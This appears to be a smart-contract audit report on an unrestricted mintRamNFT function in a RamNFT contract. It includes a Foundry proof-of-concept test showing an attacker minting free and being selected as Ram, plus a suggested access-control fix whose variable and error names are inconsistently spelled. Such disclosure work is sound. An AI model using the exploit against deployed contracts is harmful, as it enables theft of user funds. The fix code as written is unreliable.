Summary
Anybody can Mint nft for free, become Ram and ran away with 50% of the pot at the end of event.
Vulnerability Details
RamNFT:: mintRamNFT
function is public which is supposed to be restricted to the Dussehra
contract only as per docs given below.
-
mintRamNFT - Allows the Dussehra contract to mint Ram NFTs.
Current implementation allows anyone to call it directly without needs to spent 1 ether per nft. People who will mint nft for free gonna upgrade there characteristics in choosingRam
contract to become Ram.
POC
In existing test suite, add the following test
function testUserMintNFTforFreeBecomeRam() public participants {
address attacker = makeAddr("Attacker");
vm.startPrank(attacker);
ramNFT.mintRamNFT(attacker);
choosingRam.increaseValuesOfParticipants(2,2);
choosingRam.increaseValuesOfParticipants(2,2);
choosingRam.increaseValuesOfParticipants(2,2);
choosingRam.increaseValuesOfParticipants(2,2);
choosingRam.increaseValuesOfParticipants(2,2);
assert(choosingRam.selectedRam() == attacker);
}
now run the following command forge test --mt testUserMintNFTforFreeBecomeRam -vv
and it will print the following results
[⠊] Compiling...
[⠒] Compiling 46 files with Solc 0.8.20
[⠢] Solc 0.8.20 finished in 2.06s
Compiler run successful!
Ran 1 test for test/Dussehra.t.sol:CounterTest
[PASS] testUserMintNFTforFreeBecomeRam() (gas: 494662)
Suite result: ok. 1 passed; 0 failed; 0 skipped; finished in 1.67ms (563.25µs CPU time)
Ran 1 test suite in 175.79ms (1.67ms CPU time): 1 tests passed, 0 failed, 0 skipped (1 total tests)
Impact
User can mint nft for free, and become Ram that will be loss of funds and unfair with actual users who gonna put ether to mint the nft.
Tools Used
Manual Review, Foundry
Recommendations
Add dussehraContract variable, add a setter function for it. Then create the modifier and restrict the mint function using modifier as given below.
+ address public dussheraContract;
+ error RamNFT__NotDussheraContract();
+
+ modifier onlyDussheraContract() {
+ if (msg.sender != dussehraContract) {
+ revert RamNFT__NotDussehraContract();
+ }
+ _;
+ }
+ function setDussehraContract(address _dussehra) public onlyOrganiser {
+ dussehraContract = _dussehra;
+ }
function mintRamNFT(address to) public
+ onlyDussheraContract {
uint256 newTokenId = tokenCounter++;
_safeMint(to, newTokenId);
Characteristics[newTokenId] = CharacteristicsOfRam({
ram: to,
isJitaKrodhah: false,
isDhyutimaan: false,
isVidvaan: false,
isAatmavan: false,
isSatyavaakyah: false
});
}